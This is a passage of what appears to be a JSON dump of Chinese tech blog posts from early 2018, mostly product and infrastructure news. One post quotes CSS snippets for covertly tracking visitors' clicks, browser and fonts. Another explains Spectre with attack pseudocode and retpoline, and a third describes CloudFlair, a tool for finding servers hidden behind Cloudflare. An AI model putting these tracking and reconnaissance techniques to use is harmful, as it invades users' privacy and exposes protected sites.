    "body": "先前就有看到 <a href=\"https://www.intel.com/\">Intel</a> 要與 <a href=\"https://www.amd.com/\">AMD</a> 合作，將 Intel CPU + AMD GPU 整合在一起以對抗 <a href=\"https://www.nvidia.com/\">Nvidia</a>，現在看到 <a href=\"https://www.hp.com/\">HP</a> 推出對應的筆電了：「<a href=\"https://arstechnica.com/gadgets/2018/01/hps-new-15-inch-spectre-x360-uses-the-hybrid-intelamd-processor/\">HP’s new 15-inch Spectre x360 uses the hybrid Intel/AMD processor</a>」。\r\n\r\n不過名字剛好跟最近的安全漏洞撞到了 XDDD (所以才想寫 XDDD)\r\n\r\n<blockquote>The new Spectre x360 15 is one of the first systems to be announced that uses the new Kaby Lake-G processors from Intel. These processors combine an Intel CPU (with its own integrated GPU) with an AMD GPU, all within a single package.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/3dWzEqK.jpg\" alt=\"\" />\r\n<small>出自「<a href=\"https://arstechnica.com/gadgets/2018/01/kaby-lake-g-unveiled-intel-cpu-amd-gpu-nvidia-beating-performance/\">Kaby Lake-G unveiled: Intel CPU, AMD GPU, Nvidia-beating performance</a>」。</small>\r\n\r\n這種合作的仗打不打的動呢... 不怎麼看好就是了 :o",
    "title": "Intel CPU + AMD GPU 合一的的系統"
  },
  {
    "id": "8041",
    "body": "一堆國外新聞網站超愛這套，這不是 Flash 時代的搞法嗎，怎麼現在還這樣搞啊... 在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 內建的設定就可以關掉了，先進入 <code>chrome://flags</code>，然後選擇「<code>Document activation is required.</code>」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sP81qZv.webp\" /><img src=\"https://i.gslin.com/imgur/sP81qZv.jpg\" alt=\"\" /></picture>\r\n\r\n中文版的 Chrome 不知道是翻成什麼，就自己翻譯猜一下吧...",
    "title": "把自動播放影片的功能關掉..."
  },
  {
    "id": "8042",
    "body": "這波 CPU 安全問題，<a href=\"https://www.ubuntu.com/\">Ubuntu</a> 將 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 的更新計畫 (workaround patch) 放在「<a href=\"https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown\">Information Leak via speculative execution side channel attacks (CVE-2017-5715, CVE-2017-5753, CVE-2017-5754 aka Spectre and Meltdown)</a>」這邊。\r\n\r\n不是所有版本的 kernel 都有更新，像是我之前跑 4.10 發現這次沒在清單內，就換成 <code>linux-image-generic-hwe-16.04-edge</code> 了... 換完後需要再裝 linux-headers-generic-hwe-16.04-edge，然後把舊的 kernel 都清乾淨，最後 <code>nvidia-387</code> 需要重新編過。\r\n\r\n這次苦哈哈啊...",
    "title": "Ubuntu 開始更新 Kernel 了..."
  },
  {
    "id": "8043",
    "body": "<a href=\"https://www.torproject.org/\">Tor</a> 放出了新的 stable 版本：「<a href=\"https://blog.torproject.org/tor-0329-released-we-have-new-stable-series\">Tor 0.3.2.9 is released: We have a new stable series!</a>」。\r\n\r\n這個版本支援新一代的 hidden service，也就是之前在「<a href=\"https://blog.gslin.org/archives/2017/11/03/7725/%E4%B8%8B%E4%B8%80%E4%BB%A3%E7%9A%84-tor-hidden-service/\">下一代的 Tor Hidden Service</a>」這邊提到的東西，將原來 hostname 的部份從 16 chars 變成 56 chars，也就是像 <code>7fa6xlti5joarlmkuhjaifa47ukgcwz6tfndgax45ocyn4rixm632jid.onion</code> 這樣的網址。\r\n\r\n這對 hidden service 很重要，因為這代表了淘汰掉舊的演算法，尤其裡面有兩個 (SHA1 與 RSA1024) 都已經確定有問題了：\r\n\r\n<blockquote>a) Better crypto (replaced SHA1/DH/RSA1024 with SHA3/ed25519/curve25519)</blockquote>",
    "title": "Tor 0.3.2.9 釋出，支援下一代的 Hidden Service"
  },
  {
    "id": "8044",
    "body": "看到 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/emilwallner/Screenshot-to-code-in-Keras\">emilwallner/Screenshot-to-code-in-Keras</a>」這個專案，直接把圖片轉成 HTML。介紹的文章則是「<a href=\"https://blog.floydhub.com/Turning-design-mockups-into-code-with-deep-learning/\">Turning Design Mockups Into Code With Deep Learning</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZTneweb.webp\" /><img src=\"https://i.gslin.com/imgur/ZTneweb.jpg\" alt=\"\" /></picture>\r\n\r\n有點像是「<a href=\"https://blog.gslin.org/archives/2017/08/05/7482/%E5%B0%87-sketch-%E8%BC%B8%E5%87%BA%E6%88%90-iosandroid-%E7%9A%84%E7%A8%8B%E5%BC%8F%E7%A2%BC/\">將 Sketch 輸出成 iOS/Android 的程式碼</a>」與「<a href=\"https://blog.gslin.org/archives/2017/05/28/7352/%E9%80%8F%E9%81%8E-nn-%E9%A1%9E%E7%A5%9E%E7%B6%93%E7%B6%B2%E8%B7%AF-%E8%A8%93%E7%B7%B4%E5%A5%BD%E7%9A%84%E7%B3%BB%E7%B5%B1%EF%BC%8C%E7%9B%B4%E6%8E%A5%E6%8A%8A%E5%9C%96%E7%89%87%E8%BD%89%E6%88%90/\">透過 NN (類神經網路) 訓練好的系統，直接把圖片轉成程式碼</a>」(後面這篇剛好在介紹文章裡也有提到)。\r\n\r\n愈來愈有 NN 在逐步取代人類工作的感覺了...",
    "title": "透過類神經網路，直接把圖變成 HTML"
  },
  {
    "id": "8048",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 在隔壁 <a href=\"https://www.linode.com/\">Linode</a> 都升級一年半年後 (參考 2016 年的文章「<a href=\"https://blog.gslin.org/archives/2016/06/17/6634/linode-%E8%A8%98%E6%86%B6%E9%AB%94%E5%8D%87%E7%B4%9A%EF%BC%8C%E4%BB%A5%E5%8F%8A%E6%96%B0%E7%9A%84%E6%97%A5%E6%9C%AC%E6%A9%9F%E6%88%BF%E8%A8%88%E7%95%AB/\">Linode 記憶體升級，以及新的日本機房計畫</a>」這篇)，才想到沒有競爭優勢了：「<a href=\"https://blog.digitalocean.com/new-droplet-plans/\">Kicking Off the New Year with New Droplet Plans</a>」。\r\n\r\n在 Standard Droplets 的部份，主要就是把記憶體的量補上來，另外提供一些變化：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iKV3EEw.webp\" /><img src=\"https://i.gslin.com/imgur/iKV3EEw.jpg\" alt=\"\" /></picture>\r\n\r\n另外 Optimized Droplets 也有一些變化，不過就沒有太關注了...\r\n\r\n離開 DigitalOcean 很久了 (現在主力都是 Linode 跟 <a href=\"https://www.vultr.com/\">Vultr</a> 了)，這次端出來的菜盤看起來還是不太行...",
    "title": "DigitalOcean 總算是跟上來了..."
  },
  {
    "id": "8049",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的 PoC，程式碼就放在 <a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://github.com/jbtronics/CrookedStyleSheets\">jbtronics/CrookedStyleSheets</a> 上。能追蹤的細節當然比較少，不過透過 CSS 還是有不少資訊可以蒐集。\r\n\r\n像是連結被觸發時：\r\n\r\n<pre>#link2:active::after {\r\n    content: url(\"track.php?action=link2_clicked\");\r\n}</pre>\r\n\r\n瀏覽器的資訊：\r\n\r\n<pre>@supports (-webkit-appearance:none) {\r\n    #chrome_detect::after {\r\n        content: url(\"track.php?action=browser_chrome\");\r\n    }\r\n}</pre>\r\n\r\n字型的 fingerprint：\r\n\r\n<pre>/** Font detection **/\r\n@font-face {\r\n    font-family: Font1;\r\n    src: url(\"track.php?action=font1\");\r\n}\r\n\r\n#font_detection1 {\r\n    font-family: Calibri, Font1;\r\n}</pre>\r\n\r\n捲頁行為：\r\n\r\n<pre>@keyframes pulsate {\r\n    0% {background-image: url(\"track.php?duration=00\")}\r\n    20% {background-image: url(\"track.php?duration=20\")}\r\n    40% {background-image: url(\"track.php?duration=40\")}\r\n    60% {background-image: url(\"track.php?duration=60\")}\r\n    80% {background-image: url(\"track.php?duration=80\")}\r\n    100% {background-image: url(\"track.php?duration=100\")}\r\n}</pre>\r\n\r\n算是提供了不少除了 &lt;noscript&gt;&lt;/noscript&gt; 外的手段，不過一般網站要引入這些技巧需要改不少東西就是了... (或是需要透過 server side plugin 的修改進行追蹤)",
    "title": "純 CSS 的追蹤技巧"
  },
  {
    "id": "8050",
    "body": "上次寫了 <a href=\"https://meltdownattack.com/\">Meltdown</a> 攻擊的讀書心得 (參考「<a href=\"https://blog.gslin.org/archives/2018/01/07/8030/%E8%AE%80%E6%9B%B8%E6%99%82%E9%96%93%EF%BC%9Ameltdown-%E7%9A%84%E6%94%BB%E6%93%8A%E6%96%B9%E5%BC%8F/\">讀書時間：Meltdown 的攻擊方式</a>」)，結果後來中獎狂流鼻水，加上 <a href=\"https://spectreattack.com/\">Spectre</a> 用的手法就更複雜，慢慢看的情況就拖到最近才看完... 這邊就以讀者看過 Meltdown 那篇心得的前提來描述 Spectre。\r\n\r\nSpectre 的精華在於 CPU 支援 branch prediction 與 out-of-order execution，也就是 CPU 遇到 branch 時會學習怎麼跑，這個資訊提供給 out-of-order execution 就可以大幅提昇執行速度。可以參考以前在「<a href=\"https://blog.gslin.org/archives/2013/01/16/3134/cpu-branch-prediction-%E7%9A%84%E6%88%90%E6%9C%AC/\">CPU Branch Prediction 的成本...</a>」提到的效率問題。\r\n\r\n原理的部份可以看這段程式碼：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/r6M6Q3j.webp\" /><img src=\"https://i.gslin.com/imgur/r6M6Q3j.jpg\" alt=\"\" /></picture>\r\n\r\n這類型程式碼常常出現在現代程式的各種安全檢查上：確認 <code>x</code> 沒問題後再實際將資料拉出來處理。而我們可以透過不斷的丟 <code>x</code> 值進去，讓 CPU 學到以為都是 <code>TRUE</code>，而在 CPU 學壞之後，突然丟進超出範圍的 <code>x</code>，產生 branch misprediction，但卻已經因為 out-of-order execution 而讓 CPU 執行過 <code>y = ...</code> 這段指令，進而導致 cache 的內容改變。\r\n\r\n然後其中讓人最驚豔的攻擊，就是論文示範了透過瀏覽器的 JavaScript 就能打的讓人不要不要的...\r\n\r\n圖片裡，上面這段是 JavaScript 程式碼，下面則是 <a href=\"https://en.wikipedia.org/wiki/Chrome_V8\">Chrome V8</a> 在 <a href=\"https://en.wikipedia.org/wiki/Just-in-time_compilation\">JIT</a> 後轉成的 assembly (這是 AT&amp;T style)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/T3LIADp.webp\" /><img src=\"https://i.gslin.com/imgur/T3LIADp.jpg\" alt=\"\" /></picture>\r\n\r\n可以從這段程式碼看到，他想要透過這段 JavaScript 取出本來無法存取到的祕密值 index，然後透過 <code>probeTable</code> 得知 cache 的變化。\r\n\r\n在這樣的攻擊下，你就可以取得這個 process 裡可以看到的空間，甚至極端的 case 下有可能是 kernel space (配合 Meltdown 的條件)。\r\n\r\n不過如果你不能跑 JavaScript 也沒關係，Spectre 的論文裡也提供各種變形方式提供攻擊。像是這樣的程式碼也可以被拿來攻擊：\r\n\r\n<pre>if (false but mispredicts as true)\r\n    read array1[R1]\r\nread [R2]</pre>\r\n\r\n其中 <code>R1</code> 是有帶有祕密值的 register，當 <code>array[R1]</code> 有 cache 時，讀 <code>[R2]</code> 就有機會比較快，而沒有 cache 時就會比較慢 (這是因為 memory bus 被佔用的關係)，在這個情境下就能夠產生 timing attack：\r\n\r\n<blockquote>Suppose register R1 contains a secret value. If the speculatively executed memory read of array1[R1] is a cache hit, then nothing will go on the memory bus and the read from [R2] will initiate quickly. If the read of array1[R1] is a cache miss, then the second read may take longer, resulting in different timing for the victim thread.</blockquote>\r\n\r\n所以相同道理，利用乘法器被佔用的 timing attack 也可以產生攻擊：\r\n\r\n<pre>if (false but mispredicts as true)\r\n    multiply R1, R2\r\nmultiply R3, R4</pre>\r\n\r\n在論文裡面提到相當多的方法 (甚至連 branch target buffers (BTB) 都可以拿來用)，就麻煩去論文裡看了。現在用 cache 算是很有效的方式，所以攻擊手法主要都是透過 cache 在取得資訊。\r\n\r\nSpectre 論文提到的 mitigation (workaround) 是透過 <code>mfence</code> 與 <code>lfence</code> 強制程式碼的順序，但這表示 compiler 要針對所有的 branch 加上這段，對效能影響應該蠻明顯的：\r\n\r\n<blockquote>In addition, of the three user-mode serializing instructions listed by Intel, only cpuid can be used in normal code, and it destroys many registers. The mfence and lfence (but not sfence) instructions also appear to work, with the added benefit that they do not destroy register contents. Their behavior with respect to speculative execution is not defined, however, so they may not work in all CPUs or system configurations.</blockquote>\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 推出的 Retpoline 則是想要避免這個問題。Google 在「<a href=\"https://support.google.com/faqs/answer/7625886\">Retpoline: a software construct for preventing branch-target-injection</a>」這邊詳細說明了 Retpoline 的原理與方法，採取的方向是控制 speculative execution：\r\n\r\n<blockquote>However, we may manipulate its generation to control speculative execution while modifying the visible, on-stack value to direct how the branch is actually retired.</blockquote>\r\n\r\n這個方式是抽換掉 <code>jmp</code> 與 <code>call</code> 兩個指令，以 <code>*%r11</code> 為例，他將 <code>jmp *%r11</code> 與 <code>call *%r11</code> 改成 <code>jmp retpoline_r11_trampoline</code> 與 <code>call retpoline_r11_trampoline</code> (這邊的 <code>jmp</code> 指的是所有 jump 系列的指令，像是 <code>jz</code> 之類的)：\r\n\r\n<pre>retpoline_r11_trampoline:\r\n  call set_up_target;\r\ncapture_spec:        \r\n  pause;\r\n  jmp capture_spec;\r\nset_up_target:\r\n  mov %r11, (%rsp); \r\n  ret;</pre>\r\n\r\n藉由抽換 <code>%rsp</code> 內容跳回正確位置，然後也利用這樣的程式結構控制 CPU 的 speculative execution。\r\n\r\n而在效能損失上，已經有測試報告出來了。其實並沒有像 Google 說的那麼無痛，還是會因為應用差異而有不同等級的效能損失... 可以看到有些應用其實還是很痛：「<a href=\"https://www.phoronix.com/scan.php?page=article&amp;item=linux-retpoline-benchmarks\">Benchmarking Linux With The Retpoline Patches For Spectre</a>」。\r\n\r\n下半年新出的 CPU 應該會考慮這些問題了吧，不過不知道怎麼提供解法 @_@",
    "title": "讀書時間：Spectre 的攻擊方式"
  },
  {
    "id": "8051",
    "body": "<a href=\"https://www.google.com/\">Google</a> 之前發表的 <a href=\"https://cloud.google.com/beyondcorp/\">BeyondCorp</a> 採用不同的認證方式，改變企業會假設「內部網路是可信任」的這件事情：「<a href=\"https://blog.gslin.org/archives/2017/06/25/7407/google-%E6%8E%A8%E7%9A%84-beyondcorp/\">Google 推的 BeyondCorp</a>」，而 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 也照著這個概念實作出一套產品，包成服務來賣：「<a href=\"https://blog.cloudflare.com/introducing-cloudflare-access/\">Introducing Cloudflare Access: Like BeyondCorp, But You Don’t Have To Be A Google Employee To Use It</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DQMEUOj.webp\" /><img src=\"https://i.gslin.com/imgur/DQMEUOj.jpg\" alt=\"\" /></picture>\r\n\r\n可以走雲服務的認證：\r\n\r\n<blockquote>Access integrates out of the box with most of the major identity providers like Google, Azure Active Directory and Okta meaning you can quickly connect your existing identity provider to Cloudflare and use the groups and users already created to gate access to your web applications.</blockquote>\r\n\r\n也可以走 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 的 <a href=\"https://en.wikipedia.org/wiki/Client_certificate\">client certificate</a> 架構認證：\r\n\r\n<blockquote>You can additionally use TLS with Client Authentication and limit connections only to devices with a unique client certificate.</blockquote>\r\n\r\n而企業內部的服務剛好可以透過 Cloudflare 之前推出的 Wrap 串上去，不需要用 VPN 打通內部網路 (參考先前寫的「<a href=\"https://blog.gslin.org/archives/2017/11/24/7828/cloudflare-%E6%8E%A8%E5%87%BA%E7%9A%84-wrap-%E8%AE%93%E4%BD%A0%E4%B8%8D%E7%94%A8%E5%9C%A8%E6%9C%AC%E5%9C%B0%E7%AB%AF%E9%96%8B%E5%B0%8D%E5%A4%96%E7%9A%84-port-80-443/\">Cloudflare 推出的 Wrap 讓你不用在本地端開對外的 Port 80/443</a>」)：\r\n\r\n<blockquote>If you want to use Access in front of an internal application but don’t want to open up that application to the whole internet, you can combine Access with Warp. Warp will make Cloudflare your application’s internet connection so you don’t even need a public IP.</blockquote>\r\n\r\n費用的部分，第一個使用者免費，後續的使用者費用是 USD$3/month：\r\n\r\n<blockquote>Access takes 5-10 minutes to setup and is free to try for up to one user (beyond that it’s $3 per seat per month, and you can contact sales for bulk discounts).</blockquote>",
    "title": "Cloudflare 推出 Cloudflare Access，實作 Google 推出的 BeyondCorp"
  },
  {
    "id": "8052",
    "body": "<a href=\"https://www.netflix.com/\">Netflix</a> 的 <a href=\"http://www.brendangregg.com/\">Brendan Gregg</a> (他比較知名的發明是 <a href=\"http://www.brendangregg.com/flamegraphs.html\">Flame Graph</a>) 寫了一篇「<a href=\"http://www.brendangregg.com/blog/2018-01-17/measure-working-set-size.html\">How To Measure the Working Set Size on Linux</a>」，他想要量測單位時間內會用到的記憶體區塊大小：\r\n\r\n<blockquote>The Working Set Size (WSS) is how much memory an application needs to keep working. Your app may have populated 100 Gbytes of main memory, but only uses 50 Mbytes each second to do its job. That's the working set size. It is used for capacity planning and scalability analysis.</blockquote>\r\n\r\n這可以拿來分析這些應用程式是否能夠利用 L1/L2/L3 cache 大幅增加執行速度，於是就可以做成圖，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6mXxFtq.webp\" /><img src=\"https://i.gslin.com/imgur/6mXxFtq.jpg\" alt=\"\" /></picture>\r\n\r\n在 Netflix 這樣人數的公司，需要設計一些有用的指標，另外發展出對應的工具，讓其他人更容易迅速掌握狀況，畢竟不是每個人都有上天下海的能力，遇到狀況可以馬上有頭緒進行 trouble shooting...",
    "title": "Working Set Size (WSS) 的想法"
  },
  {
    "id": "8053",
    "body": "<a href=\"https://slack.com/\">Slack</a> 推出的新功能 Private Shared Channel：「<a href=\"https://slackhq.com/private-shared-channels-are-now-available-b187046b1bea\">Private shared channels are now available</a>」，當然，這是付費功能 XD\r\n\r\n<blockquote>Shared channels (beta) are currently only available for paid teams on Standard and Plus plans; Enterprise Grid support will be coming soon.</blockquote>\r\n\r\n兩個都用 Slack 的團體可以開 Shared Channel，但之前只支援 Public Channel (參考「<a href=\"https://blog.gslin.org/archives/2017/09/16/7556/%E5%85%A9%E5%80%8B%E9%83%BD%E7%94%A8-slack-%E7%9A%84%E5%85%AC%E5%8F%B8%E5%8F%AF%E4%BB%A5%E7%9B%B4%E6%8E%A5%E5%9C%A8-slack-%E4%B8%8A%E5%90%88%E4%BD%9C%E4%BA%86/\">兩個都用 Slack 的公司可以直接在 Slack 上合作了</a>」)，現在則是支援 Private Channel 了。\r\n\r\n可以兩個團體都是 Private：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EfTJcyf.webp\" /><img src=\"https://i.gslin.com/imgur/EfTJcyf.jpg\" alt=\"\" /></picture>\r\n\r\n也可以是單邊 Private，對另外一邊完全開放：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EiS0ayl.webp\" /><img src=\"https://i.gslin.com/imgur/EiS0ayl.jpg\" alt=\"\" /></picture>\r\n\r\n這個功能主要是用在 secret project 但又需要跟外部溝通的情況...",
    "title": "Slack 推出 Private Shared Channel，在兩個團體中間開 Private Channel"
  },
  {
    "id": "8054",
    "body": "作者在「<a href=\"https://www.c0ffee.net/blog/freebsd-on-a-laptop\">FreeBSD on a Laptop</a>」這邊寫下了在 <a href=\"https://www3.lenovo.com/us/en/laptops/thinkpad/t-series/t530/\">ThinkPad T530</a> 上跑 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 的完整攻略。\r\n\r\n查了一下 ThinkPad T530，這應該是 2012 年就推出的筆電了 (五年多前)，所以文章的重點在於要去那邊找解法 (i.e. 方向性)。另外作者有提到文章是假設你已經對 FreeBSD 生態算熟悉 (像是 <a href=\"https://www.freebsd.org/ports/\">Ports</a> 以及 <code>/etc</code> 下設定檔習慣的格式與設定方式)：\r\n\r\n<blockquote>Unlike my usual posts, this time I'm going to assume you're already pretty familiar with FreeBSD.</blockquote>\r\n\r\n然後有點無奈的地方... 即使是 2012 年的電腦，為了 driver 問題他還是得跑 <code>-CURRENT</code>：\r\n\r\n<blockquote>In my case, I run 12-CURRENT so I can take advantage of the latest Intel drivers in the graphics/drm-next-kmod port.</blockquote>\r\n\r\n這有點苦 XD",
    "title": "在 ThinkPad T530 上跑 FreeBSD 的介紹"
  },
  {
    "id": "8057",
    "body": " ",
    "title": ""
  },
  {
    "id": "8058",
    "body": " ",
    "title": ""
  },
  {
    "id": "8059",
    "body": " ",
    "title": ""
  },
  {
    "id": "8063",
    "body": "看到 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 上的「<a href=\"https://svnweb.freebsd.org/base?view=revision&amp;revision=328150\">[base] Revision 328150</a>」，將 <a href=\"https://www.amd.com/\">AMD</a> 的 AMD Crypto Co-Processor。\r\n\r\n然後實測效能頗爛 XDDD 不過本來就不是以效能為主吧... 應該是以安全性與 <a href=\"https://en.wikipedia.org/wiki/Trusted_Platform_Module\">Trusted Platform Module</a> 考量？\r\n\r\n像是 4KB buffer 的效能明顯比 <a href=\"https://en.wikipedia.org/wiki/AES_instruction_set\">AES-NI</a> 慢了一大截 (少了一個零 XDDD)：\r\n\r\n<pre>aesni:      SHA1: ~8300 Mb/s    SHA256: ~8000 Mb/s\r\nccp:               ~630 Mb/s    SHA256:  ~660 Mb/s  SHA512:  ~700 Mb/s\r\ncryptosoft:       ~1800 Mb/s    SHA256: ~1800 Mb/s  SHA512: ~2700 Mb/s</pre>\r\n\r\n如果是 128KB buffer 時會好一些：\r\n\r\n<pre>aesni:      SHA1:~10400 Mb/s    SHA256: ~9950 Mb/s\r\nccp:              ~2200 Mb/s    SHA256: ~2600 Mb/s  SHA512: ~3800 Mb/s\r\ncryptosoft:       ~1750 Mb/s    SHA256: ~1800 Mb/s  SHA512: ~2700 Mb/s</pre>\r\n\r\n然後 AES 也類似：\r\n\r\n<pre>aesni:      4kB: ~11250 Mb/s    128kB: ~11250 Mb/s\r\nccp:               ~350 Mb/s    128kB:  ~4600 Mb/s\r\ncryptosoft:       ~1750 Mb/s    128kB:  ~1700 Mb/s</pre>\r\n\r\n所以是 sponsor 有認證需要的關係嗎...\r\n\r\n<blockquote>Sponsored by:\tDell EMC Isilon</blockquote>",
    "title": "FreeBSD 上的 ccp (AMD Crypto Co-Processor)"
  },
  {
    "id": "8064",
    "body": "看到「<a href=\"https://www.mercurial-scm.org/repo/hg/rev/964212780daf\">Mercurial: 964212780daf</a>」這則 commit log，看起來 <a href=\"https://www.mercurial-scm.org/\">Mercurial</a> 從 <a href=\"https://www.python.org/\">Python</a> 換成 <a href=\"https://www.rust-lang.org/\">Rust</a> 的計畫正在進行中：\r\n\r\n<blockquote>rust: implementation of `hg`\r\n\r\nThis commit provides a mostly-working implementation of the `hg` script in Rust along with scaffolding to support Rust in the repository.</blockquote>\r\n\r\n之前從朋友那邊聽到，在 F 公司用 Mercurial 用到覺得很厭世，主要是因為 repository 太大，一跑下去就會發現記憶體用量與速度都很無奈 (即使內部已經有不少工具改善速度)，所以就啟動專案要換一個程式語言，直接拼最後那段的效能 XD\r\n\r\n如果是隔壁棚的 <a href=\"https://git-scm.com/\">Git</a>... 就沒這個問題，一開始 Git 就用 C 寫，所以如果厭世的話也不太容易生出什麼進展了 XDDD",
    "title": "Rust 版本 Mercurial"
  },
  {
    "id": "8065",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://github.com/christophetd/CloudFlair\">CloudFlair</a> 這個工具，可以找被 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 保護的網站，將尋找後面 Origin Server 的 IP address 的過程自動化：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">CloudFlair — Tool to find origin servers of websites behind by <a href=\"https://twitter.com/hashtag/CloudFlare?src=hash&amp;ref_src=twsrc%5Etfw\">#CloudFlare</a> using Internet-wide scan data from Censys <a href=\"https://t.co/o2ZdMUZUyS\">https://t.co/o2ZdMUZUyS</a> <a href=\"https://t.co/bwwr520QHB\">pic.twitter.com/bwwr520QHB</a></p>&mdash; The Hacker News (@TheHackersNews) <a href=\"https://twitter.com/TheHackersNews/status/955429902215335937?ref_src=twsrc%5Etfw\">January 22, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這隻程式配合 <a href=\"https://censys.io/\">Censys</a> 的資料去找，而不是自己獨立掃整個 IPv4 address。\r\n\r\n另外這隻程式也不保證掃的出來，像是透過 Cloudflare 去年十一月推出的新服務 Wrap，就不需要將 Port 80/443 對 Internet 公開 (參考「<a href=\"https://blog.gslin.org/archives/2017/11/24/7828/cloudflare-%E6%8E%A8%E5%87%BA%E7%9A%84-wrap-%E8%AE%93%E4%BD%A0%E4%B8%8D%E7%94%A8%E5%9C%A8%E6%9C%AC%E5%9C%B0%E7%AB%AF%E9%96%8B%E5%B0%8D%E5%A4%96%E7%9A%84-port-80-443/\">Cloudflare 推出的 Wrap 讓你不用在本地端開對外的 Port 80/443</a>」)。\r\n\r\n不過還是蠻好玩的工具啦 XDDD",
    "title": "將找 Origin Server IP 位置自動化的 CloudFlair"
  },
  {
    "id": "8066",
    "body": "居然是在補進度 XDDD 這是去年 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 發表的功能：「<a href=\"https://aws.amazon.com/blogs/aws/new-almost-inter-region-vpc-peering/\">New – Inter-Region VPC Peering</a>」，在去年的時候也有提到了：「<a href=\"https://blog.gslin.org/archives/2017/11/30/7851/aws-%E7%B8%BD%E7%AE%97%E6%8E%A8%E5%87%BA%E8%B7%A8%E5%8D%80-vpc-peering-%E4%BA%86/\">AWS 總算推出跨區 VPC Peering 了...</a>」。\r\n\r\n不過當時不確定跨區域時怎麼處理傳輸加密 (或者沒有處理？)，這邊 Jeff Barr 補充提到了一些細節：\r\n\r\n<blockquote>Data that passes between VPCs in distinct regions flows across the AWS global network in encrypted form. The data is encrypted in AEAD fashion using a modern algorithm and AWS-supplied keys that are managed and rotated automatically. The same key is used to encrypt traffic for all peering connections; this makes all traffic, regardless of customer, look the same. This anonymity provides additional protection in situations where your inter-VPC traffic is intermittent.</blockquote>\r\n\r\n這樣架構會簡單不少，不需要自己再疊一層確保加密這件事情 (因為當時沒翻到資料說有加密...)。",
    "title": "Jeff Barr 正在努力回顧去年 re:Invent 發表的東西：Inter-Region VPC Peering"
  },
  {
    "id": "8067",
    "body": "<a href=\"https://aws.amazon.com/kms/\">AWS Key Management Service</a> 宣布支援 AWS PrivateLink Endpoint 了：「<a href=\"https://aws.amazon.com/blogs/security/how-to-connect-directly-to-aws-key-management-service-from-amazon-vpc-by-using-an-aws-privatelink-endpoint/\">How to Connect Directly to AWS Key Management Service from Amazon VPC by Using an AWS PrivateLink Endpoint</a>」。先前需要透過 Internet 流量存取 (透過 NAT、Proxy 之類的服務)，現在則是可以接到 VPC 內直接用了：\r\n\r\n<blockquote>Previously, applications running inside a VPC required internet access to connect to AWS KMS. This meant managing internet connectivity through internet gateways, Network Address Translation (NAT) devices, or firewall proxies.</blockquote>\r\n\r\n<blockquote>With support for Amazon VPC endpoints, you can now keep all traffic between your VPC and AWS KMS within the AWS network and avoid management of internet connectivity.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/x1ZdPte.webp\" /><img src=\"https://i.gslin.com/imgur/x1ZdPte.jpg\" alt=\"\" /></picture>\r\n\r\nKMS 需要 Internet 也是之前設計架構時比較痛的地方，現在總算是有個方向可以減少痛處了...",
    "title": "AWS KMS 可以在 VPC 內直接存取了"
  },
  {
    "id": "8068",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/details/postgresql-details/\">Amazon Aurora (PostgreSQL)</a> 支援 Read Replica 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/01/announcing-amazon-aurora-postgresql-read-replica-for-amazon-rds-for-postgresql/\">Announcing Amazon Aurora PostgreSQL Read Replica for Amazon RDS for PostgreSQL</a>」。\r\n\r\n馬上想到的用途是量爆增時，如果當初有作 R/W split (讀寫分離) 就可以直接用錢撐住，不過官方給的範例是降低 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 轉移到 Aurora 的 downtime，這點就有點微妙...：\r\n\r\n<blockquote>You can now create an Amazon Aurora PostgreSQL read replica for an Amazon RDS for PostgreSQL instance, allowing you to continuously replicate to Amazon Aurora PostgreSQL. This helps you minimize downtime when migrating a live workload from Amazon RDS for PostgreSQL to Amazon Aurora PostgreSQL, by keeping the instances in sync until you're ready to move your applications and users to Amazon Aurora PostgreSQL.</blockquote>\r\n\r\n所以這次算是陸陸續續把功能補上來，在 <a href=\"https://aws.amazon.com/rds/aurora/details/mysql-details/\">Amazon Aurora (MySQL)</a> 有的一般性功能，這邊就跟著先實作...",
    "title": "Amazon Aurora (PostgreSQL) 也支援 Read Replica 了"
  },
  {
    "id": "8069",
